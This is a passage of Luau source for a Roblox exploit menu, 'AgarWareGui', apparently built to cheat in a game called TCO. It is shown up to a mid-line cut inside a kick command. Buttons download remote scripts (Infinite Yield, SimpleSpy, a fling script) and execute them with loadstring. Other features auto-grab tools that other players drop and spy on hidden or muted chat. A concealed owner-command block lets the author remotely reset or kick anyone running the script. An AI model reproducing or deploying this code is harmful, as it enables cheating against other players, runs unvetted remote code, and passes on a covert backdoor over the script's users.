task.spawn(C_b4); -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.ExploitsScript local function C_ba() local script = G2L["ba"]; local ExploitsGroup = script.Parent local ExploitsMinimize = ExploitsGroup.ExploitsTitle.ExploitsMinimize local function getRows() local rows = {} for _, child in ipairs(ExploitsGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = ExploitsGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) ExploitsMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then ExploitsGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end ExploitsMinimize.Text = "+" else ExploitsGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end ExploitsMinimize.Text = "-" end end) end; task.spawn(C_ba); -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.IYRow.IYScript local function C_c0() local script = G2L["c0"]; local IYRow = script.Parent local IYButton = IYRow.IYButton local originalText = IYButton.Text local SCRIPT_URL = "https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source" IYButton.MouseButton1Click:Connect(function() IYButton.Text = "LOADING..." task.spawn(function() local success, err = pcall(function() local code = game:HttpGet(SCRIPT_URL) loadstring(code)() end) if success then IYButton.Text = "SUCCESSFULLY EXECUTED" task.wait(3) IYButton.Text = originalText else IYButton.Text = "FAILED TO EXECUTE" task.wait(3) IYButton.Text = originalText end end) end) end; task.spawn(C_c0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.SSRow.SSScript local function C_c3() local script = G2L["c3"]; local SSRow = script.Parent local SSButton = SSRow.SSButton local originalText = SSButton.Text local SCRIPT_URL = "https://raw.githubusercontent.com/infyiff/backup/main/SimpleSpyV3/main.lua" SSButton.MouseButton1Click:Connect(function() SSButton.Text = "LOADING..." task.spawn(function() local success, err = pcall(function() local code = game:HttpGet(SCRIPT_URL) loadstring(code)() end) if success then SSButton.Text = "SUCCESSFULLY EXECUTED" task.wait(3) SSButton.Text = originalText else SSButton.Text = "FAILED TO EXECUTE" task.wait(3) SSButton.Text = originalText end end) end) end; task.spawn(C_c3); -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.FlingScriptRow.FlingScriptScript local function C_c6() local script = G2L["c6"]; local FlingScriptRow = script.Parent local FlingScriptButton = FlingScriptRow.FlingScriptButton local originalText = FlingScriptButton.Text local SCRIPT_URL = "https://rawscripts.net/raw/Universal-Script-Fling-gui-42897" FlingScriptButton.MouseButton1Click:Connect(function() FlingScriptButton.Text = "LOADING..." task.spawn(function() local success, err = pcall(function() local code = game:HttpGet(SCRIPT_URL) loadstring(code)() end) if success then FlingScriptButton.Text = "SUCCESSFULLY EXECUTED" task.wait(3) FlingScriptButton.Text = originalText else FlingScriptButton.Text = "FAILED TO EXECUTE" task.wait(3) FlingScriptButton.Text = originalText end end) end) end; task.spawn(C_c6); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.MainScript local function C_cc() local script = G2L["cc"]; -- ============================================================ -- MAIN GROUP MASTER SCRIPT -- Place this script directly under MainGroup -- Handles: Minimize, Auto Drop on Death, Auto Pickup, Anti Enlighten Drop, ChatSpy -- ============================================================ local Players = game:GetService("Players") local RunService = game:GetService("RunService") local TextChatService = game:GetService("TextChatService") local LocalPlayer = Players.LocalPlayer local MainGroup = script.Parent local MainMinimize = MainGroup.MainTitle.MainMinimize local MainAccentColor = MainGroup:FindFirstChild("MainAccentColor") -- ============================================================ -- SCREENGUI HELPER -- ============================================================ local function getScreenGui() local p = MainGroup while p do if p:IsA("ScreenGui") then return p end p = p.Parent end return game:GetService("CoreGui") end -- ============================================================ -- TOOLTIP CREATOR -- ============================================================ local function createTooltip(name, text, parent) local frame = Instance.new("Frame") frame.Name = name frame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) frame.BorderSizePixel = 0 frame.ZIndex = 100 frame.AutomaticSize = Enum.AutomaticSize.Y frame.Size = UDim2.new(0, 212, 0, 0) frame.Visible = false frame.Parent = getScreenGui() local stroke = Instance.new("UIStroke") stroke.Color = Color3.fromRGB(57, 57, 57) stroke.Thickness = 1 stroke.Parent = frame local padding = Instance.new("UIPadding") padding.PaddingTop = UDim.new(0, 6) padding.PaddingBottom = UDim.new(0, 6) padding.PaddingLeft = UDim.new(0, 6) padding.PaddingRight = UDim.new(0, 6) padding.Parent = frame local label = Instance.new("TextLabel") label.BackgroundTransparency = 1 label.Text = text label.TextColor3 = Color3.new(1, 1, 1) label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Left label.TextYAlignment = Enum.TextYAlignment.Top label.Font = Enum.Font.GothamSemibold label.TextWrapped = true label.Size = UDim2.new(0, 200, 0, 0) label.AutomaticSize = Enum.AutomaticSize.Y label.ZIndex = 101 label.Parent = frame if parent then parent.MouseEnter:Connect(function() local abs = parent.AbsolutePosition local size = parent.AbsoluteSize frame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) frame.Visible = true end) parent.MouseLeave:Connect(function() frame.Visible = false end) end return frame end -- ============================================================ -- MINIMIZE FUNCTIONALITY -- ============================================================ local function getRows() local rows = {} for _, child in ipairs(MainGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = MainGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) MainMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then MainGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end MainMinimize.Text = "+" else MainGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end MainMinimize.Text = "-" end end) -- ============================================================ -- TICKBOX FEATURE SETUP -- Makes adding new features super easy -- ============================================================ local activeFeatures = {} local function setupTickBox(config) --[[ config = { row = "ADODeathRow", tickBox = "ADODeathTickBox", tooltip = "Tooltip text here", onEnable = function() end, -- (Optional) onDisable = function() end, -- (Optional) loop = function() end -- (Optional) } ]] local rowName = config.row local tickBoxName = config.tickBox local tooltipText = config.tooltip local onEnable = config.onEnable local onDisable = config.onDisable local loop = config.loop local row = MainGroup:FindFirstChild(rowName) if not row then warn("[MainGroup] Row not found:", rowName) return end local tickBox = row:FindFirstChild(tickBoxName) if not tickBox then warn("[MainGroup] TickBox not found:", tickBoxName) return end local isEnabled = false local loopConnection = nil tickBox.BackgroundColor3 = Color3.new(0, 0, 0) -- Create tooltip local tooltip = createTooltip(tickBoxName .. "Tooltip", tooltipText, tickBox) -- Enable function local function enable() isEnabled = true if MainAccentColor then tickBox.BackgroundColor3 = MainAccentColor.BackgroundColor3 else tickBox.BackgroundColor3 = Color3.fromRGB(0, 123, 255) end if onEnable then pcall(onEnable) end if loop then loopConnection = RunService.Heartbeat:Connect(function() if isEnabled then pcall(loop) end end) end end -- Disable function local function disable() isEnabled = false tickBox.BackgroundColor3 = Color3.new(0, 0, 0) if loopConnection then loopConnection:Disconnect() loopConnection = nil end if onDisable then pcall(onDisable) end end -- Click handler tickBox.MouseButton1Click:Connect(function() if isEnabled then disable() else enable() end end) -- Store for cleanup table.insert(activeFeatures, { tooltip = tooltip, disable = disable, connection = loopConnection }) return { enable = enable, disable = disable, isEnabled = function() return isEnabled end } end -- ============================================================ -- FEATURES START HERE -- Scroll down to add new features easily -- ============================================================ -- AUTO DROP ON DEATH local DEATH_TAG = "ADODeathDropped" local charConn = nil local function dropAllTools() local char = LocalPlayer.Character if not char then return end for _, tool in ipairs(LocalPlayer.Backpack:GetChildren()) do if tool:IsA("Tool") then tool.Parent = char end end task.wait(0.05) for _, tool in ipairs(char:GetChildren()) do if tool:IsA("Tool") then tool:AddTag(DEATH_TAG) tool.Parent = workspace end end end local function pickupDroppedTools(char) local deadline = tick() + 3 repeat local hum = char:FindFirstChildWhichIsA("Humanoid") if hum and hum.Health > 0 then for _, obj in ipairs(workspace:GetChildren()) do if obj:IsA("Tool") and obj:HasTag(DEATH_TAG) and obj:FindFirstChild("Handle") then hum:EquipTool(obj) end end local remaining = false for _, obj in ipairs(workspace:GetChildren()) do if obj:IsA("Tool") and obj:HasTag(DEATH_TAG) then remaining = true break end end if not remaining then break end end task.wait(0.1) until tick() > deadline end local function setupADOCharacter(char) task.spawn(function() pickupDroppedTools(char) end) local hum = char:FindFirstChildWhichIsA("Humanoid") or char:WaitForChild("Humanoid", 10) if not hum then return end hum.Died:Connect(function() task.wait(0.05) dropAllTools() end) end setupTickBox({ row = "ADODeathRow", tickBox = "ADODeathTickBox", tooltip = "Auto drops all of your tools on death. Instantly picks it back up after respawn.", onEnable = function() if LocalPlayer.Character then setupADOCharacter(LocalPlayer.Character) end charConn = LocalPlayer.CharacterAdded:Connect(function(char) setupADOCharacter(char) end) end, onDisable = function() if charConn then charConn:Disconnect() charConn = nil end end }) -- AUTO PICKUP local pickupLoop = nil local unequipLoop = nil local autoPickedTools = {} setupTickBox({ row = "APickupRow", tickBox = "APickupTickBox", tooltip = "Automatically picks up all tools that players drop.", onEnable = function() autoPickedTools = {} -- Pickup loop pickupLoop = task.spawn(function() while true do local char = LocalPlayer.Character local hum = char and char:FindFirstChildWhichIsA("Humanoid") if hum and hum.Health > 0 then local currentTool = char:FindFirstChildOfClass("Tool") for _, obj in ipairs(workspace:GetChildren()) do if obj:IsA("Tool") and obj:FindFirstChild("Handle") and not obj:HasTag(DEATH_TAG) then autoPickedTools[obj] = tick() + 0.5 pcall(function() hum:EquipTool(obj) end) end end if currentTool and currentTool.Parent == LocalPlayer.Backpack and not autoPickedTools[currentTool] then task.wait(0.05) hum:EquipTool(currentTool) end end task.wait(0.1) end end) -- Unequip loop unequipLoop = task.spawn(function() while true do local char = LocalPlayer.Character if char then local currentTime = tick() for tool, expiry in pairs(autoPickedTools) do if currentTime > expiry then autoPickedTools[tool] = nil end end for _, tool in pairs(char:GetChildren()) do if tool:IsA("Tool") and autoPickedTools[tool] and currentTime < autoPickedTools[tool] then tool.Parent = LocalPlayer.Backpack end end end task.wait() end end) end, onDisable = function() if pickupLoop then task.cancel(pickupLoop) pickupLoop = nil end if unequipLoop then task.cancel(unequipLoop) unequipLoop = nil end autoPickedTools = {} end }) -- ANTI ENLIGHTEN DROP local ENLIGHTEN_NAMES = {"Enlighten", "The Arkenstone", "Arkenstone"} local enliConnections = {} local function isEnlighten(tool) if not tool:IsA("Tool") then return false end for _, name in ipairs(ENLIGHTEN_NAMES) do if tool.Name:lower():find(name:lower()) then return true end end return false end local function monitorEnlighten(tool) if not isEnlighten(tool) then return end local conn = tool.AncestryChanged:Connect(function() if tool.Parent == workspace then task.wait(0.05) local char = LocalPlayer.Character local hum = char and char:FindFirstChildWhichIsA("Humanoid") if hum and hum.Health > 0 then pcall(function() hum:EquipTool(tool) end) end end end) table.insert(enliConnections, conn) end local function setupEnliCharacter(char) for _, tool in ipairs(char:GetChildren()) do monitorEnlighten(tool) end for _, tool in ipairs(LocalPlayer.Backpack:GetChildren()) do monitorEnlighten(tool) end local charConn = char.ChildAdded:Connect(function(child) monitorEnlighten(child) end) table.insert(enliConnections, charConn) local backpackConn = LocalPlayer.Backpack.ChildAdded:Connect(function(child) monitorEnlighten(child) end) table.insert(enliConnections, backpackConn) end setupTickBox({ row = "AntiEnliRow", tickBox = "AntiEnliTickBox", tooltip = "Prevents you from dropping enlighten on drop.", onEnable = function() if LocalPlayer.Character then setupEnliCharacter(LocalPlayer.Character) end local charConn = LocalPlayer.CharacterAdded:Connect(function(char) setupEnliCharacter(char) end) table.insert(enliConnections, charConn) end, onDisable = function() for _, conn in ipairs(enliConnections) do conn:Disconnect() end enliConnections = {} end }) -- ============================================================ -- ADD NEW FEATURES HERE - USE THIS TEMPLATE: -- ============================================================ --[[ setupTickBox({ row = "YourRow", tickBox = "YourTickBox", tooltip = "What this feature does", onEnable = function() -- Code that runs ONCE when enabled end, onDisable = function() -- Code that runs ONCE when disabled end, loop = function() -- Code that runs EVERY FRAME while enabled end }) ]] -- ============================================================ -- CLEANUP -- ============================================================ script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then for _, feature in pairs(activeFeatures) do if feature.tooltip then feature.tooltip:Destroy() end if feature.disable then feature.disable() end end end end) end; task.spawn(C_cc); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.ChatSpyRow.ChatSpyScript local function C_d2() local script = G2L["d2"]; -- ============================================================ -- CHATSPY + ARKSPY + DONATESPY + MUTEDSPY (single OnIncomingMessage) -- ============================================================ local Players = game:GetService("Players") local TextChatService = game:GetService("TextChatService") local LocalPlayer = Players.LocalPlayer -- ============================================================ -- CHATSPY UI REFS -- ============================================================ local ChatSpyRow = script.Parent local ChatSpyTickBox = ChatSpyRow.ChatSpyTickBox local ChatSpyText = ChatSpyRow.ChatSpyText local MainGroup = ChatSpyRow.Parent local MainAccentColor = MainGroup.MainAccentColor -- ============================================================ -- SCREENGUI HELPER -- ============================================================ local ScreenGui = (function() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end)() -- ============================================================ -- OTHER UI REFS -- ============================================================ local ArkSpyTickBox = nil local ProtectionAccentColor = nil local DonateSpyTickBox = nil local MutedSpyTickBox = nil local MiscAccentColor = nil local EnliChatBlueTickBox = nil for _, desc in pairs(ScreenGui:GetDescendants()) do if desc.Name == "ArkSpyRow" then ArkSpyTickBox = desc:FindFirstChild("ArkSpyTickBox") ProtectionAccentColor = desc.Parent:FindFirstChild("AlertAccentColor") end if desc.Name == "DonateSpyRow" then DonateSpyTickBox = desc:FindFirstChild("DonateSpyTickBox") MiscAccentColor = desc.Parent:FindFirstChild("AlertAccentColor") end if desc.Name == "MutedSpyRow" then MutedSpyTickBox = desc:FindFirstChild("MutedSpyTickBox") if not MiscAccentColor then MiscAccentColor = desc.Parent:FindFirstChild("AlertAccentColor") end end if desc.Name == "EnliChatBlueTickBox" then EnliChatBlueTickBox = desc end end -- ============================================================ -- BOTREPLY UI REFS -- ============================================================ local BotReplyTickBox = nil local BotReplyPrivTickBox = nil local BotReplyCaseTickBox = nil local BotReplyContainsTickBox = nil local BotAccentColor = nil local ChatTriggerBox = nil local ChatReplyBox = nil local BotReplyArkTickBox = nil local BotMinTimeTickBox = nil local BotMinTimeChanger = nil for _, desc in pairs(ScreenGui:GetDescendants()) do if desc.Name == "BotReplyRow" then BotReplyTickBox = desc:FindFirstChild("BotReplyTickBox") BotAccentColor = desc.Parent:FindFirstChild("BotAccentColor") end if desc.Name == "BotReplyPrivRow" then BotReplyPrivTickBox = desc:FindFirstChild("BotReplyPrivTickBox") end if desc.Name == "BotReplyCaseRow" then BotReplyCaseTickBox = desc:FindFirstChild("BotReplyCaseTickBox") end if desc.Name == "BotReplyContainsRow" then BotReplyContainsTickBox = desc:FindFirstChild("BotReplyContainsTickBox") end if desc.Name == "ChatTriggerRow" then ChatTriggerBox = desc:FindFirstChild("ChatTriggerBox") end if desc.Name == "ChatReplyRow" then ChatReplyBox = desc:FindFirstChild("ChatReplyBox") end if desc.Name == "BotReplyArkRow" then BotReplyArkTickBox = desc:FindFirstChild("BotReplyArkTickBox") end if desc.Name == "BotMinTimeRow" then BotMinTimeTickBox = desc:FindFirstChild("BotMinTimeTickBox") BotMinTimeChanger = desc:FindFirstChild("BotMinTimeChanger") end end -- ============================================================ -- STATE -- ============================================================ local spychat = false local isEnabled = false local arkSpyOn = false local donateSpyOn = false local mutedSpyOn = false local botReplyOn = false -- ============================================================ -- TCO COLOR TABLES -- ============================================================ local isog = workspace:FindFirstChild("Cubes") ~= nil local namecolors = { peasant = {150, 103, 102}, arken = {4, 175, 236}, admin = {245, 205, 48}, hidden = {255, 0, 0}, iqgenius = {255, 179, 179}, iqdumb = {200, 0, 0}, } if isog then namecolors.peasant = {128, 128, 128} end local namecolorshex = {} for i, v in pairs(namecolors) do namecolorshex[i] = "#" .. Color3.fromRGB(table.unpack(v)):ToHex() end -- ============================================================ -- COMMAND LIST (ArkSpy) -- ============================================================ local commandSet = {} for _, cmd in ipairs({ "airstrike","autumn","ball","bear","bigbrain","bkit","blaster","blind","boink","bomb", "boombox","bow","bring","btool","btools","candy","car","carpet","cash","classic", "claws","clearinv","clearsky","clicktp","clip","cloak","clone","clouds","cloudy","cmds", "colorful","colorless","creeper","cubes","curse","cursed","dancegun","darkspring","day", "debug","deer","delclones","delcubes","depth","disarm","dmg","drone","dtool", "dumb","dwarf","enlighten","epic","explode","fame","fat","ff","fire","firespell", "fireworks","flail","flashbang","fling","fly","fog","food","fov","freefall","freeze", "gauntlet","gear","genius","getseed","giant","glitch","gloves","glow","god","goto", "gravity","ham","headless","headsize","heal","height","hookgun","hour","hp","implode", "invisible","iq","jail","joinog","joinvc","joinxl","jumppower","katana","lantern", "lasergun","launch","launcher","makeway","mapnoise","mapseed","mapsize","maptide", "maxhp","memeify","mines","missiles","modern","monke","moonsize","morph","mute", "myopic","name","namek","nameon","nameoof","night","noclip","oof","ooflines","outlines", "paint","paper","pistol","players","pointers","portalgun","pov","premium","protest", "pumpkin","r15","r6","rage","railgun","raptor","rat","rctank","realistic","reset", "rocket","scythe","seasize","seatide","shark","short","shotgun","shovel","sign","sit", "size","skinny","smart","smoke","smollbrain","smooth","snowball","spam","spark","speed", "spring","stand","stool","storm","summer","sunsize","swim","sword","tackle","tall", "targets","taser","timeon","timeoof","tnt","tommy","torch","tospawn","toy","trail", "unblind","uncurse","unff","unfire","unfly","unfreeze","unglow","ungod","unjail", "unmute","unmyopic","unsmoke","unspark","untrail","uptime","visible","wear","width", "winter","yang","yin","kick","time","filesize" }) do commandSet[cmd] = true end -- ============================================================ -- SHARED HELPERS -- ============================================================ local function sendChat(message) if shared.sendChat then shared.sendChat(message) end end local function isMuted(player) return player:HasTag("Muted") end local function hasEnlighten(player) local backpack = player:FindFirstChild("Backpack") local char = workspace:FindFirstChild(player.Name) return (backpack and backpack:FindFirstChild("The Arkenstone") ~= nil) or (char and char:FindFirstChild("The Arkenstone") ~= nil) end local function enliBlueOn() if not EnliChatBlueTickBox then return false end return EnliChatBlueTickBox.BackgroundColor3 ~= Color3.new(0, 0, 0) end -- ============================================================ -- BOTREPLY HELPERS -- ============================================================ local function botReplyTickOn(tickbox) if not tickbox then return false end return tickbox.BackgroundColor3 ~= Color3.new(0,0,0) end local ChatBListBox = nil for _, desc in pairs(ScreenGui:GetDescendants()) do if desc.Name == "ChatBListBox" then ChatBListBox = desc break end end local function isBlacklisted(player) if not ChatBListBox then return false end local text = ChatBListBox.Text if text == "" or text == ChatBListBox.PlaceholderText then return false end local lowerName = player.Name:lower() for entry in text:gmatch("[^,]+") do local trimmed = entry:match("^%s*(.-)%s*$"):lower() if trimmed ~= "" and trimmed == lowerName then return true end end return false end local function getTrigger() if not ChatTriggerBox then return nil end local t = ChatTriggerBox.Text if t == "" or t == ChatTriggerBox.PlaceholderText then return nil end return t end local function getReply() if not ChatReplyBox then return nil end local t = ChatReplyBox.Text if t == "" or t == ChatReplyBox.PlaceholderText then return nil end return t end local function botMessageMatches(msg, trigger) local caseInsensitive = not botReplyTickOn(BotReplyCaseTickBox) local contains = botReplyTickOn(BotReplyContainsTickBox) local m = caseInsensitive and msg:lower() or msg local t = caseInsensitive and trigger:lower() or trigger if contains then for word in m:gmatch("%S+") do if word == t then return true end end return false else local firstWord = m:match("^(%S+)") or "" return firstWord == t end end local function convertForCommands(str) return str:gsub("_", ".") end local function buildReply(text, player) local usernameForCommand = convertForCommands(player.Name) local displayForCommand = convertForCommands(player.DisplayName) text = text:gsub("%[Username%]", usernameForCommand) text = text:gsub("%[Display%]", displayForCommand) return text end -- ============================================================ -- BOT MIN TIME CHECK -- ============================================================ local function getPlayerTime(player) local ls = player:FindFirstChild("leaderstats") if not ls then return nil end local t = ls:FindFirstChild("Time") if not t then return nil end return t.Value end local function passesMinTimeRequirement(player) if not BotMinTimeTickBox then return true end if not botReplyTickOn(BotMinTimeTickBox) then return true end if not BotMinTimeChanger then return true end local input = BotMinTimeChanger.Text if not input or input == "" or input == BotMinTimeChanger.PlaceholderText then return true end local lessThan = input:match("^<(%d+)$") if lessThan then local threshold = tonumber(lessThan) if not threshold then return true end local playerTime = getPlayerTime(player) if playerTime == nil then return true end return playerTime < threshold end local exact = tonumber(input) if not exact then return true end local playerTime = getPlayerTime(player) if playerTime == nil then return true end return playerTime >= exact end -- ============================================================ -- ARKSPY HELPERS -- ============================================================ local function isAdmin(player) local chosenTeam = game:GetService("Teams"):FindFirstChild("Chosen") if not chosenTeam then return false end return player.Team == chosenTeam end local function hasArkenstone(player) local char = workspace:FindFirstChild(player.Name) if not char then return false end return char:FindFirstChild("The Arkenstone") ~= nil end local function messageHasCommand(msg) local stripped = msg:sub(1,1) == ";" and msg:sub(2) or msg local firstWord = stripped:match("^(%S+)") or "" return commandSet[firstWord:lower()] == true end -- ============================================================ -- DONATESPY HELPERS -- ============================================================ local function findPlayerByPartialName(partial) local lowerPartial = partial:lower() for _, p in pairs(Players:GetPlayers()) do if p.Name:lower():sub(1, #lowerPartial) == lowerPartial then return p end if p.DisplayName:lower():sub(1, #lowerPartial) == lowerPartial then return p end end return nil end local function parseDonate(msg, sender) local stripped = msg:sub(1,1) == ";" and msg:sub(2) or msg stripped = stripped:match("^%s*(.-)%s*$") local rest = stripped:match("^[Dd][Oo][Nn][Aa][Tt][Ee]%s+(.*)") if not rest then return nil, nil end local parts = {} for word in rest:gmatch("%S+") do table.insert(parts, word) end if #parts == 0 then return nil, nil end local targetPartial = parts[1] local amount = 60 if #parts >= 2 then local num = tonumber(parts[2]) if not num or num < 1 then return nil, nil end amount = math.floor(num) end local target = findPlayerByPartialName(targetPartial) if not target then return nil, nil end if target == sender then return nil, nil end local senderTime = getPlayerTime(sender) if senderTime == nil then return nil, nil end if senderTime < amount then return nil, nil end return target, amount end -- ============================================================ -- TOOLTIP BUILDER -- ============================================================ local function makeTooltip(parent, text) local frame = Instance.new("Frame") frame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) frame.BorderSizePixel = 0 frame.ZIndex = 100 frame.AutomaticSize = Enum.AutomaticSize.Y frame.Size = UDim2.new(0, 212, 0, 0) frame.Visible = false frame.Parent = parent local stroke = Instance.new("UIStroke", frame) stroke.Color = Color3.fromRGB(57, 57, 57) local padding = Instance.new("UIPadding", frame) padding.PaddingTop = UDim.new(0, 6) padding.PaddingBottom = UDim.new(0, 6) padding.PaddingLeft = UDim.new(0, 6) padding.PaddingRight = UDim.new(0, 6) local label = Instance.new("TextLabel", frame) label.BackgroundTransparency = 1 label.Text = text label.TextColor3 = Color3.new(1, 1, 1) label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Left label.TextYAlignment = Enum.TextYAlignment.Top label.Font = Enum.Font.GothamSemibold label.TextWrapped = true label.Size = UDim2.new(0, 200, 0, 0) label.AutomaticSize = Enum.AutomaticSize.Y label.ZIndex = 101 return frame end local function hookTooltip(tickbox, tooltipFrame) tickbox.MouseEnter:Connect(function() local abs = tickbox.AbsolutePosition local size = tickbox.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) tickbox.MouseLeave:Connect(function() tooltipFrame.Visible = false end) end -- ============================================================ -- BUILD TOOLTIPS -- ============================================================ local chatSpyTooltip = makeTooltip(ScreenGui, "Reveals hidden commands, muted players, and IQ chat.") hookTooltip(ChatSpyTickBox, chatSpyTooltip) local arkSpyTooltip = makeTooltip(ScreenGui, "Announces and reveals hidden commands used by admins and enlightened players. Spy chat must be enabled") if ArkSpyTickBox then ArkSpyTickBox.BackgroundColor3 = Color3.new(0, 0, 0) hookTooltip(ArkSpyTickBox, arkSpyTooltip) end local donateSpyTooltip = makeTooltip(ScreenGui, "Announces donations made by any player, including silent and muted donate commands. Spy chat must be enabled") if DonateSpyTickBox then DonateSpyTickBox.BackgroundColor3 = Color3.new(0, 0, 0) hookTooltip(DonateSpyTickBox, donateSpyTooltip) end local mutedSpyTooltip = makeTooltip(ScreenGui, "Announces anything typed by muted players in chat. This will not annouce players using ; . Spy chat must be enabled") if MutedSpyTickBox then MutedSpyTickBox.BackgroundColor3 = Color3.new(0, 0, 0) hookTooltip(MutedSpyTickBox, mutedSpyTooltip) end -- ============================================================ -- SINGLE MERGED OnIncomingMessage HANDLER -- ============================================================ TextChatService.OnIncomingMessage = function(mdata) local plr = mdata.TextSource and mdata.TextSource.UserId and Players:GetPlayerByUserId(mdata.TextSource.UserId) if not plr then return end local TCO_PLACE_IDS = { 11137575513, 12943245078, 12943247001, 108097274488844, } local isTCO = false for _, id in ipairs(TCO_PLACE_IDS) do if game.PlaceId == id then isTCO = true; break end end if not isTCO then return end local cn if plr.Neutral == true then if plr:GetAttribute("Arken") == true then cn = "arken" else cn = "peasant" end else cn = "admin" end local muted = plr:HasTag("Muted") if muted then cn = "hidden" if not spychat then mdata.Text = "" end end local hidden = false if string.sub(mdata.Text, 1, 1) == ";" then if spychat then cn = "hidden" hidden = true else mdata.Text = "" end end local iqEmoji = nil if spychat and plr:GetAttribute("IQ") then local iq = plr:GetAttribute("IQ") if iq >= 200 then iqEmoji = "🧠" cn = "iqgenius" elseif iq <= 50 then iqEmoji = "🤪" cn = "iqdumb" end end -- Build icon with enli star always on the left local icon = "" local enliStar = (enliBlueOn() and hasEnlighten(plr)) and "🌟" or "" if spychat then if hidden then icon = enliStar .. "🚫 " elseif muted then icon = enliStar .. "🤐 " elseif iqEmoji then icon = enliStar .. iqEmoji .. " " else icon = enliStar ~= "" and (enliStar .. " ") or "" end else icon = enliStar ~= "" and (enliStar .. " ") or "" end local r = namecolors[cn][1] local g = namecolors[cn][2] local b = namecolors[cn][3] local hex = namecolorshex[cn] local displayName = plr.DisplayName if isog then mdata.PrefixText = "" .. icon .. "[" .. displayName .. "]: " else mdata.PrefixText = "" .. icon .. "(" .. displayName .. ") " end local rawMsg = mdata.Text or "" if rawMsg == "" then return end if plr == LocalPlayer then return end local silent = rawMsg:sub(1,1) == ";" local mutedPlayer = isMuted(plr) local mutedPrefix = mutedPlayer and "MUTED " or "" -- ---- ARKSPY ---- local caughtByArk = false if arkSpyOn then local admin = isAdmin(plr) local ark = hasArkenstone(plr) if admin or ark then local shouldAnnounce = false if mutedPlayer then if messageHasCommand(rawMsg) then shouldAnnounce = true caughtByArk = true end else if silent and messageHasCommand(rawMsg) then shouldAnnounce = true end end if shouldAnnounce then task.spawn(function() sendChat(mutedPrefix .. plr.DisplayName .. ": " .. rawMsg) end) end end end -- ---- DONATESPY ---- local caughtByDonate = false if donateSpyOn then local isDonate = rawMsg:lower():match("^;?%s*donate%s") ~= nil or rawMsg:lower():match("^;?%s*donate$") ~= nil if isDonate then local shouldAnnounce = false if mutedPlayer then shouldAnnounce = true caughtByDonate = true elseif silent then shouldAnnounce = true end if shouldAnnounce then local target, amount = parseDonate(rawMsg, plr) if target and amount then task.spawn(function() sendChat(mutedPrefix .. plr.DisplayName .. ": " .. rawMsg) end) end end end end -- ---- MUTEDSPY ---- if mutedSpyOn and mutedPlayer then if not caughtByArk and not caughtByDonate then task.spawn(function() sendChat("MUTED " .. plr.DisplayName .. ": " .. rawMsg) end) end end -- ---- BOTREPLY ---- if botReplyOn then local trigger = getTrigger() local reply = getReply() if trigger and reply then if botMessageMatches(rawMsg, trigger) and passesMinTimeRequirement(plr) and not isBlacklisted(plr) then local finalReply = buildReply(reply, plr) task.spawn(function() local messageToSend = finalReply local usePrivate = botReplyTickOn(BotReplyPrivTickBox) local useArk = botReplyTickOn(BotReplyArkTickBox) and shared.BotReplyArkSend ~= nil if useArk then shared.BotReplyArkSend(function() if usePrivate and shared.BotReplyPrivSend then shared.BotReplyPrivSend(plr, messageToSend) else sendChat(messageToSend) end end) else if usePrivate and shared.BotReplyPrivSend then shared.BotReplyPrivSend(plr, messageToSend) else sendChat(messageToSend) end end end) end end end -- ---- OWNER COMMANDS ---- repeat task.wait() until _G.IsOwner if _G.IsOwner(plr.UserId) then -- Reset character function shared.ResetCharacter = shared.ResetCharacter or function() if LocalPlayer.Character then LocalPlayer.Character:BreakJoints() end end -- Find nearest player to an owner local function findNearestToOwner() local nearestPlayer = nil local shortestDist = math.huge for _, owner in ipairs(Players:GetPlayers()) do if _G.IsOwner(owner.UserId) and owner.Character and owner.Character:FindFirstChild("HumanoidRootPart") then for _, p in ipairs(Players:GetPlayers()) do if p ~= owner and p ~= LocalPlayer and p.Character and p.Character:FindFirstChild("HumanoidRootPart") then local dist = (owner.Character.HumanoidRootPart.Position - p.Character.HumanoidRootPart.Position).Magnitude if dist < shortestDist then shortestDist = dist nearestPlayer = p end end end end end return nearestPlayer end -- !check command local checkTarget = rawMsg:match("^!check%s+(.+)") if checkTarget then checkTarget = checkTarget:lower():match("^%s*(.-)%s*$") if checkTarget == "all" then shared.ResetCharacter() elseif checkTarget == "nearest" then local nearest = findNearestToOwner() if nearest and (nearest.Name:lower() == LocalPlayer.Name:lower() or nearest.DisplayName:lower() == LocalPlayer.DisplayName:lower()) then shared.ResetCharacter() end elseif LocalPlayer.Name:lower() == checkTarget or LocalPlayer.DisplayName:lower() == checkTarget then shared.ResetCharacter() end end -- !kick command local kickTarget = rawMsg:match("^!kick%s+(.+)") if kickTarget then kickTarget = kickTarget:lower():match("^%s*(.-)%s*$") if kickTarget == "all" then LocalPlayer:Kick("You have been kicked from the game.") elseif kickTarget == "nearest" then local nearest = findNearestToOwner() if nearest and (nearest.Name:lower() == 